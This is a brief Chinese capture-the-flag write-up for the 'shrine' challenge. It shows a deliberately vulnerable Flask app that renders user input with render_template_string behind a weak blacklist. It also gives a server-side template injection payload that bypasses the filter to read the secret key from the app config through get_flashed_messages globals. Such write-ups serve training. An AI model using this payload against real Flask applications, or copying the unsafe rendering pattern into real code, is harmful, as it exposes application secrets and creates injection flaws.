shrine

0x01

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

默认/目录,返回index源码

@app.route('/')
def index():
    return open(__file__).read()

在/shrine/路径下,传入值

@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

python 模板注入,绕过()

payload:

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

参考链接:
https://www.dazhuanlan.com/2019/12/19/5dfaeb8cf31c7/
https://blog.csdn.net/qq_41429081/article/details/105487173

原文地址:https://www.cnblogs.com/observering/p/12844122.html